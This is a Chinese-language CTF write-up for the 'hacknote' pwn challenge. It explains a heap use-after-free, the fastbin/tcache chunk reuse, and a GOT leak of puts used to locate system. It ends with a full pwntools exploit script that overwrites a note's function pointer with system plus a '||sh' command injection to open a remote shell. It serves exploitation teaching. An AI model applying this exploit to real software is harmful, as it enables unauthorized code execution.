首先,查看程序的保护机制
然后拖入IDA分析
这是创建堆,并写入信息。
经过分析,大概是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| typedef struct Note { void *func; char *buf; } Note;
Note *notes[5]; int i = 0; void show(Note *note) { puts((char *)(note + 4)); } void create(int size) { Note *note = (Note *)malloc(0x8); note->func = show; note->buf = (char *)malloc(size); notes[i++] = note; }
|
再看看print功能
即调用notes[i]->func(notes[i]);
再看看delete功能
Free后没有把指针设置为NULL,这将会引起UAF漏洞
上述的释放是这样的
1 2
| free(note[i]->buf); free(note[i]);
|
如何利用UAF呢?
首先,我们先创建2个0x20的堆,释放后由fastbin或tcache bin维护
释放后,堆布局如下
块 |
大小(字节) |
状态 |
Note0 |
0x8 |
空闲 |
Buf0 |
0x20 |
空闲 |
Note1 |
0x8 |
空闲 |
Buf1 |
0x20 |
空闲 |
现在我们create(0x8),那么先会有
Note *note = (Note *)malloc(0x8);
Fastbin或tcache bin中存在0x8的空闲块,那么直接返回那个空闲块的地址,这里返回的是note1的地址(因为fastbin或tcache使用单向链表维护,并且遵循后进先出的规则)
接下来,执行
note->buf = (**char** *)malloc(size);
返回了note0的地址,由于我们的字符串是可以写入buf的,因此,我们写的字符串正好就可以写入note0的结构体。
那么,我们就可以修改note0的func和buf,来执行其他函数了。
首先,我们需要得到libc基地址,那么我们需要泄露一个函数的地址,这里,我们选用puts
1 2 3 4 5 6
| payload = p32(0x804862B) + p32(puts_got)
create(0x8,payload)
show(0)
|
接下来,我们用同样的方法
删除堆2,那么,现在堆的布局如下
块 |
大小(字节) |
状态 |
Buf2 (Note0) |
0x8 |
空闲 |
Buf0 |
0x20 |
空闲 |
Note2 (Note1) |
0x8 |
空闲 |
Buf1 |
0x20 |
空闲 |
我们再create(0x8),和上面同理
Note3分配到Note2 (Note1)处,Buf3分配到Buf2 (Note0)处
1 2 3 4
| payload = p32(system_addr) + '||sh' create(0x8,payload)
show(0)
|
这个**||sh**是shell注入,因为按照原来的show的逻辑,是这样的
system(note[i]);
而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样
因此,我们最终的exp脚本为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * from LibcSearcher import *
sh = remote('111.198.29.45',33242) elf = ELF('./hacknote') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] show_addr = 0x804862B def create(size,content): sh.sendlineafter('Your choice :','1') sh.sendlineafter('Note size :',str(size)) sh.sendafter('Content :',content) def delete(index): sh.sendlineafter('Your choice :','2') sh.sendlineafter('Index :',str(index)) def show(index): sh.sendlineafter('Your choice :','3') sh.sendlineafter('Index :',str(index))
create(0x20,'a'*0x20) create(0x20,'b'*0x20) delete(0) delete(1) payload = p32(0x804862B) + p32(puts_got)
create(0x8,payload)
show(0)
puts_addr = u32(sh.recv(4)) libc = LibcSearcher('puts',puts_addr) print hex(puts_addr) libc_base = puts_addr - libc.dump('puts') print 'libc base:',hex(libc_base) system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') ''''' libc = ELF('/usr/lib/libc-2.17.so') libc_base = puts_addr - libc.sym['puts'] print 'libc base:',hex(libc_base) system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() ''' delete(2) payload = p32(system_addr) + '||sh' create(0x8,payload)
show(0) sh.interactive()
|